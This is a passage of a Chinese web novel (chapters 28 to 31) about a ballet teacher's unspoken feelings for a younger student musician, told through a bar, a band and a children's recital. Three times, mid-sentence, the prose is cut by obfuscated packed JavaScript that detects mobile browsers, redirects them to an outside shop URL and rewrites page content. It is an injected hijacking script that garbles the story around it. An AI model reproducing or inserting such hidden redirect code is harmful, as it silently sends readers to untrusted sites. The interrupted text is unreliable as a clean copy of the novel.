一提起乐队,她眼睛亮亮的,语调扬得比谁都高。 柳冬意微笑着点头回应:“你好,我叫柳冬意,是绘珊的朋友。” “冬意姐,你和原拓也认识吗?”黎斯贝问。 “他们俩早就认识了,”唐绘珊抢答,“原拓的妹妹还在冬意那学芭蕾呢。” “怪不得气质那么好,小时候我家里也想让我学芭蕾来着,”她嘿嘿一笑,不好意思地摸了摸后脑勺,“但我骨头太僵硬了,怎么学都学不会,就放弃了。” “那说明你和音乐的缘分更深,更适合这条路。”柳冬意温声说。 “是啊是啊,这么一想,当初要是硬学下去,现在说不定就没机会跟他们一起玩乐队了。”说完,她抬手在原拓的肩上拍了两下,动作自然又熟稔。 那只手停留的时间很短暂,柳冬意却看得分明,没有漏过一秒。她眼睫轻颤,目光快速从黎斯贝脸上掠过,又立马转向远处亮起的路灯。 “所以说这都是缘分呗,”唐绘珊看了眼时间,“这都快八点了,原拓,你还不赶紧过去准备,迟到了小心我扣你工资。” “我这就过去。” 原拓应着,目光却瞥向柳冬意。风撩起她耳边的发丝,半遮住她的侧脸,让他一时看不清她脸上的表情。 他喉结微动,想问些什么, 但迟疑片刻,终究还是咽了回去。 “那…我就先走了。” 黎斯贝挥手,“我也走了,珊姐冬意姐拜拜。” “去吧去吧,路上小心点。” 柳冬意的目光从远处挪向他们并肩离开的背影,黎斯贝正在高兴地说着些什么,而原拓则偏头认真听着,嘴角还露出些许笑意。 她眨眨眼睛,想要收回目光,身体却在这一刻莫名地不听使唤,让她定定地看着他们走到街头的拐角。 直到,原拓回过了头。 四目相对的瞬间,柳冬意眼皮一跳,几乎是出于本能地错开了自己的视线。 再望去时,拐角已是空荡荡,没有两人并肩的身影,只有她一人失序的心跳。 “年轻就是好啊,看着就活力四射,用不完的劲儿。” 唐绘珊的声音在耳边响起,柳冬意回神,扯开嘴角,“你现在看着也挺活力满满的啊。” “那不一样,我这是间歇性的,他们是持续性的。不瞒你说,我像她那么大的时候,通宵熬夜不在话下,现在不到11点就困得睁不开眼,根本没法比。”她夸张地长叹一口气。 “那是你以前透支得太厉害,现在身体在自我保护呢,”她轻笑一声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852448|190437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿了顿,又说,“不过,这女孩子性格挺活泼的,跟你那会还挺像。” “是吧。我也蛮喜欢她的,大大咧咧的,有啥说啥。” “你们…怎么认识的?” “还不是因为原拓,当时黎斯贝想找他组乐队,他一直不答应,她就每周五来酒馆找他,一来二去的就这么认识了。” 唐绘珊从口袋里抽出手,向前伸展,“说起来这小姑娘还挺有毅力的,愣是围追堵截了一个多月原拓才松口答应。” 柳冬意低低哦了一声,“这样啊…” “诶,你说他俩这是不是有点像偶像剧?” “什么?”她一愣。 “俩小孩长得都挺好看的,兴趣又相同,性格也挺互补的,说不定以后还真能成呢。” 身旁半晌没传来回应,唐绘珊转头看去,发现柳冬意正望着前方的虚空,眼神有些飘忽,全然一副神游天外的模样。 “想什么呢?”她轻轻碰了下她的手臂。 柳冬意回过神,“嗯?你说什么?” “我说他俩是不是看着挺配…” 唐绘珊话才说到一半,就见身旁的好友脚步一滞,停了下来。 “绘珊…我想起柳荨那边好像还有点急事要处理,可能得先回去了。” 这借口来得突然,不光是她,连柳冬意自己都觉得突兀。可她也不知道自己怎么了,这些谎话就那么自然而然地脱口而出。 “啊,什么事啊,明天再处理不行吗?” “明天要排练,怕来不及,”她避开了绘珊探究的目光,“抱歉,下次有机会我再过来吧。” 见她着急,唐绘珊也不强留。 “好吧,那我送你去停车场。” “不用了,我自己过去就行。停车场到酒馆还得绕远路,你别来回跑了。”说着,她从随身的包里拿出一张演出票,“这个,麻烦你帮我转交给原拓吧。” “行,包在我身上,”唐绘珊接过票,叮嘱了句,“那你回去路上开慢点,处理完事情就早点回去,别搞太晚了。” “嗯,我知道,你也快去吧。” 唐绘珊站在原地,看着好友的背影渐行渐远的背影,融入夜色与灯影之中,心里隐隐觉得有些不对劲,却又说不上来具体是什么。 她摇摇头,将票放进口袋,也转身朝酒馆走去。 车门关上的一瞬间,世界的喧嚣与晚风,全都被隔绝在外。狭小而密闭的空间里,只剩下柳冬意自己,以及那愈发急促的呼吸。 她将额头轻轻抵在方向盘上,试图用那一点冷意驱散脑海中那只自然地拍在原拓的肩上的手,和那他们并肩行走,共享世界的背影。 说不定以后真能成呢…每一个字,细小的刺,扎进心里,酸涩无比。 自己到底怎么了? 为什么心口这么闷呢? 是最近太累了,排练的紧迫,周敛的事情,还有徐老板那个突如其来的邀请…是这些乱七八糟堆积起来的事情,让她今晚撒的谎一个接一个吗? 是了,一定是最近太累了。 不然,还能是因为什么呢? 他那么年轻,一个大三的学生,几乎比自己小了一轮。在他眼里,自己或许只是一个比较亲近的长辈。 所以,还能是因为什么呢? 不能了。 基于长辈,基于责任,基于欣赏。 她对原拓的关注,不能有更多原因了。 更何况…她看向自己无名指上的戒指。 尽管周敛还没有消息,但他们的过去无法抹掉,那些曾经因为他而心动的时刻,柳冬意没有忘。 戴上这枚戒指后,也不该忘。 绘珊是对的,像黎斯贝那样的女孩,才应该是他世界里的人。他们年龄相仿,兴趣相投,可以一起组乐队,一起说笑打闹,拥有共同的未来和可能。 而自己…只是一个陌路人。 柳冬意慢慢抬起头,看向车内后视镜,镜中的女人眉眼间带着一丝连她自己都感到陌生的落寞和…难过。 难过什么呢柳冬意…难不成你还真的对一个比自己小十一岁的男生有什么荒谬的想法吗? 这太可笑了。 也太可悲了。 用力拧动钥匙,发动机的声音骤然响起,迅速填满了车内的寂静,粗暴地驱散了那些难以启齿的念头。 柳冬意握紧方向盘,目视前方,重重踩下油门,车子猛地窜入夜色,像是要逃离这场令人心悸的审问。 然而,那份被理智强行压下的悸动和酸楚,却如同车窗上的雾气,虽然被强行抹去,可仍然在心底留下了一片潮湿的痕迹。 29. Chapter29 “看什么呢?” 黎斯贝回过头,顺着他的视线往后看,只见唐绘珊与柳冬意两人正停在原地说话,不过离得太远,已经听不清她们在说什么。 原拓回过头,“没什么。” “所以冬意姐当初到底跟你说什么了,就让你改变主意了?”黎斯贝好奇地歪着头,“我和何风磨破嘴皮子你都不松口,她一说你就答应了?” 原拓脚步微微一顿,眼前浮现出那晚的场景,雨水顺着屋檐滴落,他们站在水洼的倒影里, “她告诉我让我去做想做的事情,至于其他的,以后再说。”他复述着,每个字都带着那晚雨夜的安宁。 “就这么简单?”黎斯贝诧异地睁大眼睛。 “嗯,就这么简单。” “诶,要是能早点认识冬意姐就好了,让她早点劝劝你,也省得我和何风费那么大劲。” 原拓抿了抿唇,夜色掩盖了他眼底翻涌的情绪,“是啊,要是早点认识她就好了…” 晚风轻轻吹起,散去一声叹息。 “还有个事,你以前写过歌词或者编曲什么的吗?”黎斯贝突然转换了话题。 “没有,怎么了?” “咱们乐队得搞原创啊,”她双手环胸,表情认真起来,“以后要是有演出什么的肯定不能只唱别人的歌,得有我们自己的歌才能打响名头啊。” “我跟你说搞乐队我可是认真的,最近我已经开始在网上学编曲了,你们也都努力努力,别给我偷懒。” 原拓点点头,记下这事,“知道了。” 来到一个岔路口,与黎斯贝道别后,他穿人行道快步向酒馆走去。 紧赶慢赶,终于赶在八点钟之前到了酒馆。 来不及喘口气,他拿出吉他,走上舞台。 人群因他而渐渐安静下来,拨动第一根弦,原拓凑近麦克风。在开口前,他忽然想起柳冬意与唐绘珊说笑时的模样,是自己没有见过的鲜活与灿烂。 那时候,他的确想问问,两人在聊什么。 是什么能让她那么开心,那么快乐。 可到底还是没有勇气问出来,只是将要出口的旋律,变成了另一首更轻快的歌。 客人们安静地听着,有人轻轻晃动着手里的酒杯,有人靠在伴侣肩上闭目欣赏, 一曲过半,门檐风铃轻响。 将他抽离歌中,视线粘在门口。 然而当唐绘珊一人进门的那刻,拨弄琴弦的手停滞半空,下一句歌词也堵在了喉咙。 原拓忽然有一丝庆幸她不在这。 他苦笑着想,其实自己没有她说得那么专业,至少这首歌,情绪不由他掌控,也再无法沉浸其中。 “今天的工资,”唐绘珊递过票,“还有这个,冬意让我给你的演出票。” 原拓看了眼演出票上的信息。 日期是儿童节,座位也很靠前。 “谢谢。”他将票小心收好,犹豫半晌,还是忍不住问,“冬意姐…怎么没有来?” “她临时有事走了,怎么,你找她有事啊?” 唐绘珊问。 原拓垂眸,摇摇头,“没事,只是问问。” “好吧,”她向前探身,半靠在柜台上,“怎么样,你们红三剁乐队最近排练情况如何?” “还行,现在差不多已经能合上一首完整的歌了。” “这还不到半个月吧,速度还挺快啊,什么时候有正式演出了可得让我去看看。” 原拓应下,随即又想到黎斯贝的话,“珊姐,以前你组乐队的时候,写过词或者编曲吗?” “没有诶,你们要搞原创啊?” “嗯,黎斯贝说她最近在学习编曲,让我们也学习一下。” “这小姑娘还挺是那么回事啊,”唐绘珊笑道,“那既然有编曲了,你可以去尝试一下写词,这个对你来说应该不难吧,毕竟你听过那么多歌。” “写词…应该从哪开始?” 她挠挠头,思索半晌,“这个我也不太清楚,应该跟写作文差不多吧,先想好一个主题?比如爱情什么的,这玩意儿应该还挺多东西可以写的。” “爱情…”原拓轻声重复了一遍,飘浮的语调像是在认识一个陌生的词汇。 “对啊,暧昧的心动,恋爱的甜蜜,分手的痛苦什么的不都是很好的素材么。” 看着对方茫然的模样,唐绘珊眉毛一扬,声音里带着一丝怀疑,“等等,你不会还没谈过恋爱吧?” 原拓摇头。 “不是吧,”她惊讶地将他上下打量了一番,“你这个样子应该不缺女孩子追吧。” “我…还没有谈恋爱的打算。” “那…”唐绘珊凑近了些,试探性问道,“你也没有喜欢或者暗恋过一个人吗?” 听到这个问题,原拓倏地抬眸,又立马垂下。 这一细微的动作没有逃过她的眼睛。 “有的对吧?”唐绘珊笃定。 原拓张口就想否认,否认这个令人唾弃的秘密,但一股莫名的冲动促使着他轻轻应了一声,承认了这段见不得光的感情。 “嗯,有的。” 听出来不是过去时而是进行时,唐绘珊瞬间八卦心起,连忙追问:“谁啊?” 面对她灼灼的目光,原拓眼神躲闪,双脚不自觉向后小腿一步,“你应该…不认识她。” “我不认识?”唐绘珊脸上露出狐疑,若有所思地问道,“那你说说看,她是个什么样的女孩,我看看能不能帮你出出主意。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16857216|190437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>原拓一愣,“出什么主意?” “当然是帮你追她的主意啊。” “不用了珊姐,”他笑笑,声音随着眼帘一起垂了下去,“我没想过和她在一起。” “哈?为什么?” “没有为什么。” “从来都没想过吗?” “没有。” 唐绘珊忽然感觉这题有点超纲了,于是深深看了他一眼,试探性问道:“你…确定对那个女生的感情是喜欢吗,会不会是因为你没谈过恋爱,所以错把友谊当成喜欢了?” 原拓没有说话。 说实在的,他也不明白对柳冬意到底是一种怎样的感情。 如果是爱情,那为什么自己从没有想过要和柳冬意在一起,诚然他知道她已经结婚,可似乎连和她在一起的幻想都不曾有过。 可如果不是爱情, 还会是什么?还可以是什么? 他望向唐绘珊,突然很想让她给自己一个答案,一个除了爱情之外的答案。 这样,自己或许就不用逃跑,不用躲藏。 可以正大光明地靠近她,站在她身旁。 唐绘珊似是也看出了他的茫然,绕出吧台,来到他身边坐下,“这样,你先说说看你为什么觉得自己喜欢她?” “因为…”原拓睫毛轻颤,“我想一直看着她。” “看着她?什么意思?”她听不太明白。 “我也不知道,就只是想看着她,什么也不做,只是单纯地看着她就会觉得很安心。好像什么时候都不着急去做,什么烦恼都会消失了一样。” 原拓不知道怎么更细致地去描述这种感觉,他的言语一向匮乏,匮乏到他几乎讨厌和她在一起的自己,让贫瘠的土地开不出一朵花。 唐绘珊沉默了好一会。 “那你喜欢她什么呢?”她又问。 这个问题,原拓自己也想过,无数次地想。 喜欢柳冬意,是因为什么? 因为她的美丽,因为她的温柔,虽然这些她都有,且远远足够,但答案好像总不是心底的那一个。 于是他回想起自己看过的电影,听过的歌。那些关于爱情的定义,一一对应,一一确认,结果还是都无法确切地描述他的感受。 原拓知道,不一定所有事情都需要一个原因。 可他还是想准备一个,可以告诉她的答案。 尽管他知道,她永远不会问。 而这个答案,自己也永远不会说出口。 他却还是想说:“我喜欢她分给我的时间。” 在那些时间里,他无比确切地感知到自己的存在。 也无比确切地感知到,除了爱情, 对柳冬意,他不会再有第二个答案。 30. Chapter30 见柳冬意拎着个大袋子进来,柳荨好奇凑近。 “堂姐,你手里提的是什么呀?” “路过零食店看见在做活动,就买了些糖。想着孩子们吃点甜的,说不定能放松些。”柳冬意拆开包装袋,露出里面花花绿绿的糖果。 她从中找出一根橙子味的棒棒糖,“给你的,我记得你最爱这个口味。” 柳荨接过糖,还怪有些新奇,“我都好久没吃糖了,你还记得这么清楚。” “小时候你可没少打着我的旗号买糖,我怎么会忘。” 她嘿嘿一笑,撕开糖纸,“也是哦。” “叔叔婶婶到了吗?”柳冬意问。 “路上堵车,说要晚点到。” “那你先把这些糖分一分吧,我去接绘珊他们。”柳冬意把糖果袋交给柳荨,正要转身,却被拉住了手臂。 她回头,看见柳荨递来一根糖。 “给,你爱吃的巧克力味。” 她望着糖纸,眼神一动, “那…再给我两根吧,我给绘珊他们。” “行,你要什么味的?” 柳冬意在糖堆里找了两根牛奶味的。手指划过糖纸,停顿片刻后,又挑了一根巧克力味的出来。 “这个糖挺好吃的,我多拿一个。” 不等柳荨问起,她便自顾自地解释。 来到门口,柳冬意看着手里的四根棒棒糖,忽然觉得自己实在幼稚得可笑。 三十多岁的人了,竟为一根棒棒糖又撒了谎。 “柳老师。” 突然的呼唤让柳冬意下意识攥紧手,慌忙将糖塞进口袋。 抬头望去,是徐哲丽,而她身旁站着一位四十岁左右的女子。那人齐肩黑发,一身剪裁得体的白色西裙,衬得她气质格外优雅。 “徐老板,”柳冬意打招呼,目光转向她身旁,“这位是?” “上次跟你提过的,我那位朋友,沈牧华。” 柳冬意立刻想起,微微欠身。 “沈前辈您好,我是柳冬意。” 沈牧华连忙扶住她,“别这么客气,我都离开舞团好些年了,叫我沈姐就好。” “无论过去多久,您都是我的前辈,该有的礼数不能少。” 沈牧华笑了笑,“能有你这么优秀的后辈,反倒叫我不好意思了。” “您过奖了,”柳冬意问,“两位是来看表演的么,需要我带路吗?” “柳老师,我可是这里的老板,认路可比你在行。”徐哲丽打趣道。 “抱歉,一时忘了。” “冬意,”沈牧华柔声开口,“我这么叫你行吗?” “当然,您随意就好。” “那我就不客气了,其实今天来,还是想再问问你舞团的事。请你别嫌我啰嗦,我是真不想错过你这么好的舞蹈演员。” 柳冬意抿紧嘴唇,背在身后的手不自觉地绞在一起。 拒绝人这种事情,她不擅长。 特别是在对方如此盛情的情况下,更加惶恐。 但...柳冬意不想让人失望, 也不愿被别人失望。 “沈前辈,真的很抱歉,”她抱着十足的歉意,“现在优秀的后辈很多,相信她们一定更适合您的舞团。” 沈牧华原本还想说什么,衣袖被徐哲丽轻轻扯了一下。 她会意过来,将方才的劝说咽了回去,“好吧,我不勉强你。或许做老师对你来说确实是个不错的选择。相信在你的教导下,一定会培养出很多优秀的学生,到时候可要记得给我推荐几个好苗子。” 柳冬意唇角弯了弯,正要道谢,一个念头从脑中浮现。 “沈姐,那您今天可以多留意表演的学生,说不定会有您中意的好苗子。” 她说得含蓄,毕竟对方只是来看表演的,若直接推荐,万一表演效果不佳,或是达不到沈牧华的期望,对谁都不好。 她唯一能做的,就是埋下一颗种子,然后相信对方的眼光能让它生根发芽。 沈牧华在人际场历练多年,自然明白这话中深意,当即应道:“既然你这么说了,我一定要好好看看。相信你带出来的学生,一定会让人眼前一亮。” “那我们先进去了,柳老师你忙。” 徐哲丽适时接话。 柳冬意点头目送,直到两人的身影消失在厅内,才长长舒了口气。 她靠墙而立,从口袋里掏出糖果。 棒棒糖在指间旋转,糖纸上的卡通图案晃出模糊的重影,让人眼花缭乱。 柳冬意拿起糖轻轻敲了敲额头。 还在想什么呢?都已经拒绝两次了,没有回头路,也不该有回头路。 好好休息,认真上课,这才是正事。 把糖重新塞回口袋,她看了眼时间。 离演出开始还有二十分钟。 想起刚才和沈牧华的对话,这是个难得的机会,她得去叮嘱希希,让她好好表现才行。 想到这里,她立即站直身体走向后台,担心时间不够,快步走匆匆变成了小跑,以至于刚到门口的原拓只瞥见一片裙角,便消失不见。 演出厅内人头攒动,热闹非常。 原拓一排排找到自己的座位。 第三排,十六座。 见他来了,秦容芳立即和邻座结束了交谈,“从学校赶过来很远吧?午饭吃了吗?” “吃过了,不算远,”他把背包放在座位下面,“有直达公交,很方便的。” “那就好,希希刚才还念叨你什么时候来,说好久没见你了。” 原拓心下愧疚,仔细想来他的确已经很久没有回过家了,“上次学校突然有事就提前走了,不过下个月放暑假,到时候就能回家多陪她玩了。” “那她肯定高兴,不过不管怎么样还是以学业为重,知道吗?” “嗯,知道。” “对了,有件事想和你商量。”秦容芳侧过身子,“希希今天表演完,可能就不再去舞蹈室了。” 原拓点头,当初柳冬意本来只是让希希参与演出,演出结束之后自然就不必再去了。 “但我看得出来,这孩子很喜欢跳舞,我在想,要不要让她继续学下去?” 他心头一跳,“在现在的舞蹈班学吗?” “嗯,我问过希希了,她说想跟柳老师学。而且这段时间接触下来,我也觉得柳老师人很好,在她这儿学我能放心些。” 原拓垂下头,半晌没有说话。他知道这意味着什么,不是短暂的,而是长久的正当理由。 但从一开始,答应让希希参与表演的时候,自己就预料到了不是吗?反正济北那么大,反正…就算有正当理由,也改变不了什么。 原拓摸向口袋,取出一个信封递过去。 “这些钱您拿着,应该够学费。” 秦容芳看向厚厚的信封,眉头当即蹙了起来,“这么多钱?你最近是不是又没好好吃饭?” 她左右四顾,声音压得低低的,“你跟秦姨说实话,这钱…是正经来的吗?可千万别为了希希的学费去做傻事。” “秦姨,您别担心,”见她误会了,原拓忙解释,“是我开学后找的兼职,工资挺高的。” “什么兼职能有这么高工资?” 秦容芳显然不太相信。 原拓正思索着该如何说明,一道声音从身旁传了过来。 “原拓,你坐这儿啊。” 两人同时转头,便见唐绘珊站在座位旁。 他立即起身,“珊姐,你怎么来了?” “我当然要来,这可是冬意和柳荨第一次办演出,必须来捧场。” 他眼睛一动,似乎这才想起这层关系, “那…你也坐这边吗?” 唐绘珊摇摇头,“不,我坐别的地方。” 见两人这么熟络,秦容芳也起身看向她。 “原拓,这位是?” 原拓想到什么,连忙向她介绍,“这就是我刚跟您说的兼职老板,她也是冬意姐的朋友,今天一起来看演出。” “珊姐,这是我阿姨,姓秦。” 听闻是长辈,唐绘珊连忙伸手。 “秦姐您好,我叫唐绘珊。” “你好你好,原拓刚才正说起你呢,说在你那儿做兼职。”秦容芳语气缓和了些,但还是带着几分不确定,“冒昧问一下,他在你那边是做什么工作的啊?” “我在济北大学附近开了个小酒馆,原拓每周五都会过来唱歌。” “那我就放心了,这孩子刚刚突然给我这么大笔钱说给希希交跳舞的学费,我还差点以为他是去做了什么不正经的工作。” 唐绘珊先是一愣,看到原拓手里那个厚厚的信封,和秦容芳担忧的神色,这才后知后觉地反应过来。 “秦姐,他现在可是我们店里的台柱子,好多客人都是专门冲他来的。” 她说着,很自然地拍了拍原拓的肩膀,“所以您就放心吧,这钱绝对是他正正经经唱歌挣来的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16864642|190437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 听见这番话,秦容芳脸上的疑虑消散了大半,她轻轻舒了口气,“真是谢谢你能给他这个机会,这孩子内向,不爱说话,但心里也是特别感激你的。” “哪儿的话,是他帮了我大忙才对。” 见秦姨已经放下心来,原拓连忙开口,“秦姨,演出快开始了,让珊姐先去找座位吧。” “哦对对,瞧我光顾着说话。你快去吧,以后有机会一定和柳老师来家里吃饭。” “好嘞好嘞,”唐绘珊连连点头,“那我先过去了,您坐着。” 原拓看着她离开,一直走到剧院左边第二排的座位,而那个熟悉的身影就坐在她身边。 仍是一身格调不凡的西装,仍是那个只属于他们的,距离自己很远的世界。 “怎么了?不舒服吗?” 秦容芳察觉他脸色不对。 “没事,可能是早上有点没睡醒吧。”原拓晃晃脑袋,低头整理好情绪,再次递过信封,“这个您放心拿去用吧,我真的不缺钱。” 看着信封,秦容芳长叹一声。 她接过来,借着身体遮挡抽出几张。 “这些就够了,剩下的你自己留着。” 原拓没说话,只是把整个信封塞进她手里,又将那几张纸币拿回来,“我留这些就行。” 秦容芳知道这孩子倔,便没再跟他推辞,收下了那个厚厚的信封。 舞台的灯光渐渐亮起,一名主持人走上了舞台,因为《天鹅湖》的顺序在第三位,所以柳冬意带着表演的学生们安静地围在舞台入口观看《葛蓓莉亚》的表演。 她坐在一旁,看着手机里的两条短信出神。 5月17号22:25 「您好,请问周敛现在还没有消息吗?」 5月18号23:01 「还没有,有消息了我会通知你。」 感觉自己的手被人晃了一下,柳冬意回过神,是希希。 “老师,我看到妈妈和哥哥了!” 她兴奋地喊着。 “哥哥?” “是啊,哥哥今天说好了要过来的呀。” 她眼眸轻动,将手机关掉,放回口袋。 “是啊,你今天表演他怎么会不来呢。” “他们坐得超级超级近,待会我跳舞的时候还能看见他们的。” 柳冬意闻言,扶住她的肩头,认真地向她交代:“希希,待会表演的时候要认真不可以分心,等表演结束了你再和他们打招呼也可以的,知道吗?” 希希不知道为什么老师今天变得这么认真,刚刚也跟自己说了很多要注意的话,不过她也知道老师是为她好,便重重点头应下。 “好,我会好好表演的!” 没等多会,排在前面两场表演就已经结束。 柳冬意站起身,将孩子们带到舞台侧边准备。 等到主持人报幕结束,她拍拍孩子们的肩膀,一只只小天鹅依次走上舞台。 待到她们摆好准备姿势,音乐响起,表演正式开始。 柳冬意站在侧方,看着孩子们按照排练时那样跳着整齐的舞蹈,熟练地变换着队形,且不出所料,个子最高的希希是最引人注目的那一个。 见状,她悬着的心慢慢松懈下来,也就有多余的注意力去观察舞台下的情况。 从这个角度看观众席前排,的确一清二楚。 从三排十六座看舞台,也是一清二楚。 那是她亲自确认过,视野最好的位置。 所以柳冬意的视线止住二排,没有再越过去。 她怕自己再去回想当时选座时的心情。 私心或好意,她无法说清,也不能言明。 唯一能做的,便是不去想,不去看。 收回视线,柳冬意低头看向手掌心。 是那两根巧克力糖。 一根她的,一根多余的。 柳冬意拆开自己的那一根糖放进嘴里,另一根多余的则放回了口袋。 她其实不爱吃巧克力,因为以往总在吃黑巧抑制食欲,所以朋友总是误以为她喜欢吃巧克力。 但她也没有解释,只是偶尔会将一小片甜巧混进黑巧里欺骗自己。 之后,她也慢慢地习惯了。 慢慢地习惯性看向观众席,视线跟随口中的巧克力漫过第二排,坐在三排十六座的身影。 慢慢地习惯性欺骗自己,黑巧其实是甜的。 甜的东西,也可以抑制食欲。 31. Chapter31 柳冬意刚清点完演出服,回头就见绘珊倚在门边,笑盈盈地看着自己。 “你怎么知道我在这。” “我刚在门口碰到你们舞蹈室的老师,说你在后台呢。” 她拿起胶带,将一箱头饰封好。 “文聿哥呢,他今天没来吗?” “来了,在外面跟他们律所的人打电话呢,”唐绘珊走过去,将桌上的剪刀递给她,“说真的,你们这演出办得可以啊,我都没想到看小孩子跳舞能这么好玩。” “柳荨要是听到你这样说肯定高兴坏了。” “那我得当面夸夸她,她人呢?” “她和几个老师帮孩子们卸妆呢,要不你等一会吧。” “啊,我妈刚刚来电话催我和我哥回家吃饭呢,”说起这个,唐绘珊哭笑不得,“我和我哥都三十多的人了,还说过什么儿童节,真是的。” “说不定是你们太久没一起回家吃饭了,”她抿嘴笑起,拍了拍手上的灰,“再说了在叔叔阿姨眼里,你们可不就是小孩子么。” “说得也是,那你要不要一起过去?” “我就不去了,这边还有事没搞完,下次吧。” 说着,她从旁边的包里拿出那两根没来得及送出去的牛奶糖,“给你和文聿哥的,节日快乐。” “柳冬意,你怎么和我妈一样幼稚,”唐绘珊好笑地接过那两颗糖,“还有没有多的?原拓在外面,我给他也捎一根去。” 她眼皮一跳,手下意识伸进口袋, 握紧了那根巧克力糖。 随即松开,轻声说:“没有了。” “那我把唐文聿的给他算了,反正他也不爱吃糖。” 柳冬意失笑,“哪有你这样当妹妹的,文聿哥知道了得多伤心。” “是吗?难怪他现在心硬得跟石头一样,原来是我小时候帮他锻炼出来的啊。” “你还得意上了。” “那可不。”唐绘珊昂起下巴,满满都是骄傲。 “哦对了,刚刚我还在外面碰到原拓和他小姨了,看着人挺和气的,还让我和你有时间去她家吃饭呢。” 柳冬意表情一滞,转身收拾起桌上已经整理好的流程单,“以后有空再说吧。” 唐绘珊点点头,从旁边搬来一个凳子坐下,“我还听他们说打算要让小孩继续在你这里学跳舞,原拓还专门把学费带来了,把秦姐吓得还以为他是去做什么不正经的工作了。” 她不禁感慨了句,“不得不说他真挺厉害的,才没多大吧,都已经开始帮家里分担了。” 闻言,柳冬意整理节目单的手慢了下来。 最后索性将节目单放下,也找了个椅子坐下。 恍惚间,她回想起那天秦容芳在电梯时盯着海报上的数字,3500块。 这笔钱原拓要存多久,柳冬意不清楚。 但唯一能肯定的是,这个金额对他来说,不是一笔随随便便就能存下来的数目。 突然,一阵电话铃声响起。 柳冬意回神,从口袋里拿出手机,是柳荨。 “堂姐,你在哪?剧院的徐老板说她和她朋友找你有事,你能过来一趟休息室吗?” 她意识到什么,立即应下。 “好,我马上过去。” 听到她有急事要走,唐绘珊从包里翻出一张单据,“这个给你,我也不知道要买点什么,就订了一堆玩偶,应该明天就送到你们舞蹈室了。” 柳冬意有些意外,“这也太破费了。” “破费啥呀,跟我还这么客气,”唐绘珊可不管那么多,一把塞到她手里,“记得帮我把我刚才的话告诉柳荨啊,我先去找我哥了。” “好,那我替孩子们谢谢你了,你和文聿哥路上小心,也记得替我给叔叔阿姨问个好。” “知道啦,走了。” 走到前厅,唐绘珊四下张望,没看见原拓只看见自家老哥傻愣愣站在过道尽头望着墙上的海报出神。 “发什么呆呢?” 唐文聿回过神,推了推鼻梁上的眼镜。 “没什么,她不去吗?” “她还有工作,说下次再去。” 他嗯了一声,眉眼敛下半分,跟她向外走去。 “喏,儿童节福利。”唐绘珊把糖递给他。 他瞥了一眼,“我不吃糖。” 唐绘珊料到会这样,自顾自剥开一根,“不吃拉倒,我吃两根,可不能浪费冬意的心意。” 唐文聿脚步顿住,半晌,伸出了手。 “给我吧。” “你不是不要吗?” “为你的血糖着想。” 唐绘珊简直气笑,将糖重重拍在他手心,“嘴硬死你。” 推开休息室的门,柳冬意看见徐哲丽沈牧华还有柳荨三人正在里面坐着。 “徐老板,沈姐。” 柳荨起身,让她坐到两人就近的位置。 “柳老师,今天的演出真是超出我的预期了,我好久都没看见这么优秀的少儿芭蕾表演了。”沈牧华说得分外诚恳,丝毫不觉恭维。 “能得到您这么高的夸奖,看来孩子们这几个月来的努力没有白费。”柳冬意眼角眉梢都是笑意。 “特别是《天鹅湖》那场表演,我看有好几个孩子特别灵,这个年纪就有这样的表现力实在是难得。” 柳荨眼睛一亮,“沈姐,《天鹅湖》正好就是我堂姐负责的节目,里面的孩子基本上都是她的学生。” “是吗?难怪表现得这么好,特别是站在第三排最左边的那个最高的孩子,所有人做四位转的时候,只有她最稳,而且手位始终保持完美弧形,看得出来是有功底的。” 根据沈牧华的描述,柳冬意立刻就猜到她说的是希希,“您说的那个孩子叫秦希,其实她以前没有学过芭蕾,也不是我们舞蹈室的学生。是因为一次偶然机会才加入的,到现在满打满算也才学了不到两个月。” 此话一出,不光是沈牧华,连一旁的徐哲丽脸上都露出了惊讶的表情。 “她动作看起来一点也不是初学者的样子,怎么会才学两个月?” “这是真的,之前有个小孩退出了,堂姐就是发现希希身体天赋特别好,才大胆让她顶上的。”见她们不信,柳荨忙在一旁补充。 “那…她之前怎么没学过芭蕾?这么好的天赋,家长都没有考虑过培养吗?”沈牧华问。 柳冬意抿了抿唇,说:“可能还是有些家庭原因吧,毕竟培养一个孩子学芭蕾,对普通家庭来说还是一笔不小的费用的。” 沈牧华垂眸,像是在思索着什么。 好半晌,说:“我能见见这个孩子吗?” 听见她要见希希,柳冬意一愣,还没来得及说话,坐在身边的柳荨就立马应了下来。 “当然可以,正好她家长今天也在,我叫他们一起过来吧。” 门轻轻合上,沈牧华的目光转向正在愣神的柳冬意,“柳老师?” 她眨眨眼,拉回了思绪,“嗯?怎么了?” 